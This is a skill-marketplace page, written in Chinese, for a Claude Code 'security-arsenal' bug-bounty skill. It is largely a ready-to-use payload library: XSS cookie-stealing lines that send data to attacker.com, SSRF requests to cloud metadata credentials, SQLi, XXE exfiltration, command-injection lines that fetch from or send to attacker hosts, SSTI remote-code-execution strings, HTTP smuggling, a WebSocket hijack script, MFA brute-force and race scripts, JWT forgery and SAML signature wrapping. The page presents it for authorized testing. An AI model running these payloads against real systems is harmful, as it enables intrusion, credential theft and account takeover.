mcpField
S
security-arsenal

security-arsenal

github.com/elementalsouls安全5.3k277 次安装今天更新
代码仓库

关于 security-arsenal

security-arsenal 是汇集安全测试载荷、绕过示例和测试说明的参考技能,涵盖常见 Web 漏洞类型,适合需要整理探测方法的安全测试人员。

主要功能

  1. 01常见 Web 漏洞载荷
  2. 02SSRF 与过滤绕过示例
  3. 03认证与授权探测方法
  4. 04模板注入和命令注入样例
  5. 05HTTP 走私与 WebSocket 测试

适用场景

  1. 01在授权 Web 评估中选择探测载荷
  2. 02检查输入处理中的注入缺陷
  3. 03测试认证和访问控制行为
  4. 04检查 HTTP 请求不同步或 WebSocket 安全性

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill security-arsenal

安装后在 Claude Code 中输入/security-arsenal确认已加载。

详细介绍

安全工具库

Payload、绕过表、字典和提交规则。


XSS PAYLOAD

基础探测
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)
Cookie 窃取(影响证明)
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
CSP 绕过技术
// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>
DOM XSS 来源和接收点
// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

SSRF PAYLOAD

云元数据
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true
内部服务指纹识别
http://localhost:6379      # Redis (unauthenticated, RESP protocol)
http://localhost:9200      # Elasticsearch (/_cat/indices)
http://localhost:27017     # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080      # Admin panel
http://localhost:2375      # Docker API — GET /containers/json
http://localhost:10.96.0.1:443  # Kubernetes API server
SSRF IP 绕过 Payload
# All of these map to 127.0.0.1:
http://2130706433          # decimal
http://0177.0.0.1          # octal
http://0x7f.0x0.0x0.0x1   # hex
http://127.1               # short form
http://[::1]               # IPv6 loopback
http://[::ffff:127.0.0.1]  # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6

# DNS rebinding: A→external, then resolves to internal after allowlist check

# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://169.254.169.254/

SQL 注入 PAYLOAD

检测
'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based
'; SELECT SLEEP(5)--          -- MySQL time-based
' OR SLEEP(5)--
基于 Union(确定列数)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
盲注 SQLi(基于时间的确认)
# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--
WAF 绕过
/*!50000 SELECT*/ * FROM users     -- MySQL inline comment
SE/**/LECT * FROM users             -- comment injection
SeLeCt * FrOm uSeRs                -- case variation
%27 OR %271%27=%271                 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe

XXE PAYLOAD

经典文件读取
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
通过 HTTP 进行盲 OOB(DNS 确认)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>
通过 DNS 进行盲 OOB + 数据外泄
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % data SYSTEM "file:///etc/passwd">
  <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
  %param1;
]>
<foo>&exfil;</foo>
通过 DOCX/SVG/PDF 上传进行 XXE
  • SVG:<image href="file:///etc/passwd" />
  • DOCX:在 word/document.xml 中放入包含外部实体的恶意 XML

路径遍历 PAYLOAD

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd   # double URL encoding
/etc/passwd%00.jpg                     # null byte truncation
....\/....\/etc/passwd                 # mix of separators

IDOR / 身份验证绕过 PAYLOAD

水平权限提升
# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile

# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...

# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)

# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)

# Add parameter
GET /api/orders → GET /api/orders?user_id=456
垂直权限提升
# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}

# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending

# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}

身份验证绕过 PAYLOAD

JWT 攻击
# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."

# Secret bruteforce
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt
OAuth 攻击
# Missing PKCE test
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# No code_challenge → check if 302 (not error) = PKCE not enforced

# State parameter check
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Missing/static state parameter = CSRF on OAuth = account linkage attack

NoSQL 注入 PAYLOAD(MongoDB)

运算符注入(JSON 请求体)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}
GET 参数注入
# URL parameter injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=

# MongoDB operator reference:
# $ne = not equal (bypass: value != null = any value matches)
# $gt = greater than (bypass: "" < any string)
# $regex = regex match (bypass: .* = anything)
# $where = JS expression (RCE potential on older MongoDB)
身份验证绕过单行命令
curl -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

# URL-encoded for GET forms:
# username%5B%24ne%5D=null&password%5B%24ne%5D=null

命令注入 PAYLOAD

基础检测
; id
| id
` id `
$(id)
&& id
|| id
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
盲 OOB(带外确认)
; curl https://attacker.burpcollaborator.net
; nslookup attacker.burpcollaborator.net
$(nslookup attacker.burpcollaborator.net)
`ping -c 1 attacker.burpcollaborator.net`
; wget https://attacker.com/$(id|base64)
绕过技术
# Bypass space filter
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;IFS=,;cat,/etc/passwd

# Bypass keyword filter (cat, id blocked)
# Obfuscate with quotes
;c'a't /etc/passwd
;c"a"t /etc/passwd
;$(printf '\x63\x61\x74') /etc/passwd

# Bypass via env
;$BASH -c 'id'
;${IFS}id

# Windows-specific
& dir
| type C:\Windows\win.ini
& ping -n 1 attacker.com
特定上下文(文件名注入)
# File upload filenames
test.jpg; id
test$(id).jpg
test`id`.jpg
../test.jpg
../../../../../../etc/passwd

SSTI 检测 PAYLOAD(所有引擎)

通用探测(全部发送,观察哪些会求值)
{{7*7}}        → 49 = Jinja2 (Python) or Twig (PHP)
${7*7}         → 49 = Freemarker (Java) or Spring EL
<%= 7*7 %>     → 49 = ERB (Ruby) or EJS (Node.js)
#{7*7}         → 49 = Mako (Python) or Pebble (Java)
*{7*7}         → 49 = Spring Thymeleaf
{{7*'7'}}      → 7777777 = Jinja2 (not Twig — Twig gives 49)
${"freemarker.template.utility.Execute"?new()("id")}  → Freemarker RCE
各引擎的 RCE Payload

Jinja2(Python/Flask/Django):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}

Twig(PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

Freemarker(Java):

${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

ERB(Ruby on Rails):

<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>

Spring Thymeleaf:

${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

EJS(Node.js):

<%= process.mainModule.require('child_process').execSync('id') %>
测试位置
Name/bio/username fields, email subject templates, invoice/PDF generators,
URL path parameters reflected in page, error messages, search query reflections,
HTTP headers that appear in rendered responses, notification templates

HTTP 请求走私 PAYLOAD

CL.TE — 前端使用 Content-Length,后端使用 Transfer-Encoding
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
TE.CL — 前端使用 Transfer-Encoding,后端使用 Content-Length
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 3

8
SMUGGLED
0


TE.TE — 两端都支持 Transfer-Encoding,通过混淆禁用其中一端
# Obfuscate the TE header so one layer ignores it
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
H2.CL — HTTP/2 前端注入 Content-Length
# In Burp Repeater, switch to HTTP/2
# Add Content-Length header manually (not auto-set by HTTP/2)
# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
# Back-end uses CL → desync
检测(Burp)
1. Install HTTP Request Smuggler extension
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. All four probe types automatically sent
4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED
影响链
Basic desync          → Capture victim's next request → Read their auth token
+ Admin user traffic  → Access admin as victim
+ Cache poisoning     → Stored XSS at scale for all users

WebSocket PAYLOAD

IDOR / 身份验证绕过
// Test: subscribe to other user's channel
{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
{"action": "get_history", "userId": "VICTIM_UUID"}
{"action": "getProfile", "id": 2}
{"action": "admin.listUsers"}
{"action": "admin.getToken", "userId": "1"}
跨站 WebSocket 劫持(CSWSH)

<script>
var ws = new WebSocket('wss://target.com/ws');
// Browser automatically sends victim's cookies
ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
</script>
测试 Origin 验证
# Should reject non-target origins. If it doesn't = CSWSH vulnerability
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
wscat -c "wss://target.com/ws" -H "Origin: null"
wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"
通过 WS 消息进行注入
// XSS in chat/notification system
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}

// SQLi
{"action": "search", "query": "' OR 1=1--"}

// SSRF (if server fetches URLs from messages)
{"action": "preview", "url": "http://169.254.169.254/latest/meta-data/"}

MFA / 2FA 绕过 PAYLOAD

模式 1:OTP 暴力破解(无速率限制)
# Try all 6-digit OTPs
ffuf -u "https://target.com/api/verify-otp" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 \
  -t 5

# Rate limit bypass: rotate session tokens between requests
# Or use GraphQL batching to send 100 attempts per request
模式 2:重复使用 OTP(令牌未失效)
1. Request OTP → receive "123456"
2. Submit OTP correctly → authenticated
3. Log out
4. Log in again
5. Submit same OTP "123456" (expired? still works?)
6. Try OTP from previous session at new login
模式 3:响应篡改
Step 1: Enter wrong OTP → intercept response in Burp
Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
Step 3: Forward modified response → sometimes app trusts it and proceeds
Also try: change status code 401 → 200, or change redirect from /failed to /dashboard
模式 4:验证码可预测
import requests, time

# Some implementations use timestamp-based OTPs:
for t_offset in range(-30, 31):  # Test ±30 seconds
    totp_value = generate_totp(secret, time.time() + t_offset)
    r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
    if r.status_code == 200:
        print(f"VALID at offset {t_offset}s: {totp_value}")
        break
模式 5:备用验证码没有速率限制
# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
# Try brute force on /api/verify-backup-code if no rate limit
模式 6:跳过 MFA 步骤(工作流绕过)
# After entering username/password, you get a session cookie
# Test: skip the /mfa/verify step entirely, go directly to /dashboard
# If cookie grants access before MFA = auth flow bypass

# Also: complete MFA in one session, reuse cookie in another browser
# Checks whether MFA completion is tied to the specific session
模式 7:MFA 验证竞态
import asyncio, aiohttp

# Race 2 MFA verifications simultaneously
# If both succeed = parallel session ATO
async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return await r.json()

async def race():
    async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
        results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
        print(results)

asyncio.run(race())

SAML 攻击

攻击 1:XML 签名包装(XSW)

<saml:Assertion ID="legit">
  <NameID>[email protected]</NameID>
  <ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
</saml:Assertion>



<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>     
  </saml:Assertion>
  <saml:Assertion ID="legit">              
    <NameID>[email protected]</NameID>
    <ds:Signature>VALID_SIGNATURE</ds:Signature>
  </saml:Assertion>
</saml:Response>
攻击 2:在 NameID 中注入注释


<NameID>[email protected]</NameID>



攻击 3:移除签名
1. Capture SAMLResponse (base64 decode from browser)
2. Remove or modify the <Signature> element entirely
3. Change NameID to [email protected]
4. Re-encode and submit
5. If server doesn't validate signature presence = admin login
攻击 4:SAML 断言中的 XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Response>
  <saml:Assertion>
    <NameID>&xxe;</NameID>
  </saml:Assertion>
</saml:Response>
工具
# SAMLRaider (Burp extension) — most automated XSW testing
# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider

# Manual: decode, modify, re-encode
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml
# Edit saml.xml
cat saml.xml | base64 -w0  # Re-encode

GF 模式名称(tomnomnom/gf)

# Install: https://github.com/tomnomnom/gf
# Usage: cat urls.txt | gf PATTERN

gf xss          # XSS parameters
gf ssrf         # SSRF parameters
gf idor         # IDOR parameters
gf sqli         # SQL injection parameters
gf redirect     # Open redirect parameters
gf lfi          # Local file inclusion
gf rce          # Remote code execution parameters
gf ssti         # Template injection parameters
gf debug_logic  # Debug/logic parameters
gf secrets      # Secret/token patterns
gf upload-fields # File upload parameters
gf cors         # CORS-related parameters

始终拒绝 — 切勿提交

提交这些内容会拉低你的有效率。N/A 会造成影响。不要提交。

Missing CSP / HSTS / X-Frame-Options / other security headers
Missing SPF / DKIM / DMARC
GraphQL introspection alone (no auth bypass, no IDOR)
Banner / version disclosure without a working CVE exploit
Clickjacking on non-sensitive pages (no sensitive action in PoC)
Tabnabbing
CSV injection (no actual code execution shown)
CORS wildcard (*) without credential exfil PoC
Logout CSRF
Self-XSS (only exploits own account)
Open redirect alone (no ATO chain, no OAuth code theft)
OAuth client_secret in mobile app (disclosed, expected)
SSRF with DNS callback only (no internal service access)
Host header injection alone (no password reset poisoning PoC)
Rate limit on non-critical forms (login page Cloudflare, search, contact)
Session not invalidated on logout
Concurrent sessions allowed
Internal IP address in error message
Mixed content (HTTP resources on HTTPS page)
SSL weak cipher suites
Missing HttpOnly / Secure cookie flags alone
Broken external links
Pre-account takeover (usually — requires very specific conditions)
Autocomplete on password fields

有条件有效 — 需要漏洞链

只有与能够证明实际影响的漏洞链结合时,这些发现才有效:

单独发现所需漏洞链组合后的结果
开放重定向+ 通过滥用 redirect_uri 窃取 OAuth code账户接管(严重)
点击劫持+ 敏感操作 + 可行的 PoC(不只是登录)中危
CORS 通配符+ 带凭据的请求外传用户数据高危
CSRF+ 敏感操作(转账、更改邮箱)高危
绕过速率限制+ 成功暴力破解 OTP/token中危/高危
仅 DNS 的 SSRF+ 访问内部服务 + 检索数据中危
Host 头注入+ 密码重置邮件使用该值高危
提示词注入+ 读取其他用户的数据(IDOR),或数据外传,或 RCE高危
S3 存储桶列表+ 含有 API 密钥/OAuth 密钥的 JS 包中危/高危
Self-XSS+ 通过 CSRF 在受害者身上触发中危
子域名接管+ 在该子域名注册了 OAuth redirect_uri严重
GraphQL 内省+ 绕过身份验证的 mutation,或 node() 上的 IDOR高危

规则: 先构建漏洞链,确认其端到端有效,然后再报告。绝不要只报告 A 并称其“可能与 B 形成漏洞链”——必须提供证据。


字典(已安装在 ~/wordlists/)

common.txt         # Common directories and files
params.txt         # Parameter names (id, user_id, file, etc.)
api-endpoints.txt  # API endpoint paths (/api/v1/users, etc.)
dirs.txt           # Directory names
sensitive.txt      # Sensitive paths (.env, config.json, backup, etc.)
值得模糊测试的内置路径
# Sensitive files
/.env
/.git/config
/config.json
/credentials.json
/backup.sql
/dump.sql
/.DS_Store
/robots.txt
/sitemap.xml
/.well-known/security.txt

# Admin panels
/admin
/admin/login
/administrator
/wp-admin
/manager
/console
/dashboard
/panel

# API discovery
/api
/api/v1
/api/v2
/graphql
/graphiql
/swagger
/swagger-ui.html
/api-docs
/openapi.json
/v1
/v2

相关技能与漏洞链

  • hunt-xss / hunt-ssrf / hunt-sqli / hunt-ssti / hunt-idor — 当 hunter 正在主动测试某个参数并需要有效载荷时使用。工作流基本单元:此技能是这些 hunt-* 技能调用的有效载荷库;hunt-* 技能负责识别接收点,此技能提供语法。
  • triage-validation — 用于判断某项发现是否值得报告。工作流基本单元:两个技能中的“始终拒绝”和“有条件有效 — 需要漏洞链”表必须一致;triage-validation 执行 7 问关卡,此技能提供 Q7 使用的漏洞链要求映射。
  • web2-recon — 当 URL 集合已按 gf 模式分类时使用。工作流基本单元:从侦察中获得的 gf xss/ssrf/sqli 输出 → 在此处查找对应的有效载荷章节;gf 模式名称可直接索引到此技能的有效载荷章节。
  • evidence-hygiene — 当有效载荷产生值得截图的输出时使用。工作流基本单元:有效载荷证明影响后(Cookie 窃取、数据外传),在截图作为证据之前,将其交给 evidence-hygiene 进行脱敏处理。
  • bb-methodology — 当阶段 3(发现)根据输入类型分流时使用。工作流基本单元:阶段 3 的决策流程(“ID 参数 → IDOR 检查清单”、“URL 输入 → SSRF 检查清单”)会指出要加载此工具库中的哪个章节。

操作人员须知(Claude-BugHunter)

根据实际项目经验得出的补充内容,以及针对 2026 年的新增内容,均基于 vendored 基础内容。 内容来自真实的授权测试项目,以及对本仓库 31+ 个技能领域的实时测试进行的第 2 阶段验证。上游有效载荷库涵盖“是什么”;本层涵盖“何时有效,以及何时无效”。

载荷时效性——到 2026 年哪些已经失效

经典的 CL.TE / TE.CL HTTP 请求走私载荷已无法对付 Nginx ≥ 1.21、Caddy 2.x、Envoy ≥ 1.20(已在 Phase 2H 中验证)。但它们仍可用于 HAProxy ≤ 2.4、较旧的 F5 BIG-IP、Citrix ADC、特定配置的 AWS ALB,以及 Apache Traffic Server。先对前端进行指纹识别——通过 curl -sI 查看 Server: 标头、Via: 链和 TLS JA3——再决定是否花数小时尝试那些解析器会在入口处直接拒绝的载荷。

XXE 经典载荷也一样——Python lxml ≥ 5.x 默认会静默丢弃 SYSTEM 实体(Phase 2G 的发现)。以下目标仍可使用这些载荷:Java SAX、启用了 LIBXML_NOENT 的 PHP DOMDocument、仍配置了 XmlResolver 的 .NET XmlDocument、较旧的 lxml(< 5.0)、启用了 DTDLOAD 的 Ruby Nokogiri,以及大量嵌入式 XML 处理器(SOAP 库、SAML 实现、Office 文档解析器)。载荷库仍包含这些载荷——操作人员要判断目标的解析器是否仍属于易受攻击的范围。

截至 2026 年,其他默认已失效但并非处处失效的载荷:<a href> 中的 javascript: URL(Chrome 会拦截,除非用户明确进行操作;在嵌入式 WebView、Electron 和较旧的 Edge 中仍可用);用于顶层导航的 data:text/html(现代浏览器会在导航场景中移除);Location: 中的 CRLF 注入(大多数反向代理会规范化处理)。务必在目标的实际环境中测试,不要只在通用浏览器中测试。

WAF 评估顺序很重要

针对同一个 WAF 存在多种绕过载荷时,尝试顺序如下:

  1. 编码技巧——大小写变化(SeLeCt)、URL 编码一次、URL 编码两次、Unicode 转义(<)、HTML 实体(&#x3c;)、UTF-8 超长序列。
  2. 解析器行为差异——XML 命名空间、关键词中间的 JSON \u 转义、Content-Type: application/json 与 application/x-www-form-urlencoded 的解析器混淆、多部分边界技巧。
  3. 协议层面——HTTP/2 与 HTTP/1.1(某些 WAF 只检查其中一种)、Host 标头注入、X-Original-URL、X-Forwarded-* 走私。
  4. 针对 WAF 规则的绕过手法——Cloudflare、AWS WAF、Akamai、Imperva、F5 ASM 各有已知的签名检测缺口;加载对应厂商的载荷子章节。

大多数测试项目到第 2 步就结束了——现代 WAF 会被解析器行为差异类载荷触发,因为 WAF 与源站应用对什么才是“有效”请求的理解并不一致。

所有场景均适用的带外(OOB)确认门槛

每种盲注原语(盲 SQLi、盲 XSS、盲 SSRF、盲 RCE、盲 XXE)都需要带外确认。没有确认,你就无法区分漏洞和解析器错误日志。Phase 2D 的加固实验室证明了这一门槛能够排除表面上与真实漏洞完全相同的误报——500 页面中的错误消息 you have an error in your SQL syntax 可能来自完全不同请求的解析器日志。请访问 Burp Collaborator 域名(或 interactsh),确认收到回连后再提交报告。

截至 2026 年,带外回连基础设施的排名如下:(1)Burp Collaborator(Pro 许可证;最简洁);(2)interactsh-client(开源;效果相当);(3)DNSLog.cn(免费,但由第三方记录——切勿用于付费项目);(4)可自托管的泛解析 DNS + HTTP 监听器(最适合长期项目)。

标记字符串规范

通用词语可能自然出现在目标内容中。搜索 javascript,结果命中“JavaScript 教程”,并不代表内容反射——这只是关键词重合。请使用唯一的随机字符串:

m=$(head -c 12 /dev/urandom | base64 | tr -d '+/=' | head -c 12)
# now m is like "K7gXq2pNRm1z" — search for THIS in the response
curl "https://target/search?q=${m}" | grep -c "$m"

如果标记出现在响应中,说明存在反射。如果它在 HTML 上下文中未经转义就出现,说明存在 XSS 潜在风险。如果它出现在 Location 标头中,说明存在重定向。如果它出现在 SQL 错误中,说明存在注入。标记是唯一可信的判断依据——通用关键词会误导你。

针对噪声预言机的统计采样

单次试验的时间差异只是噪声。要求至少进行 10 次交错试验,Welch's t 统计量 > 3,或置信区间有同等程度的分离。Phase 2D 使用一个刻意加入噪声的时间预言机验证了这一点:单次试验显示差异为 129ms(本来会据此提交报告);n=10 时,均值分别为 78ms 和 191ms,t=5.26(结果真实且有充分依据)。

时间侧信道验证的框架:

import statistics
def welch_t(a, b):
    ma, mb = statistics.mean(a), statistics.mean(b)
    va, vb = statistics.variance(a), statistics.variance(b)
    return (ma - mb) / ((va/len(a) + vb/len(b)) ** 0.5)
# interleave control + test trials, n=10 each, t > 3 = signal

同样的规则也适用于盲布尔预言机:当抖动导致响应长度或状态码出现差异时,应进行采样,而不是妄下结论。

评论

支持 Markdown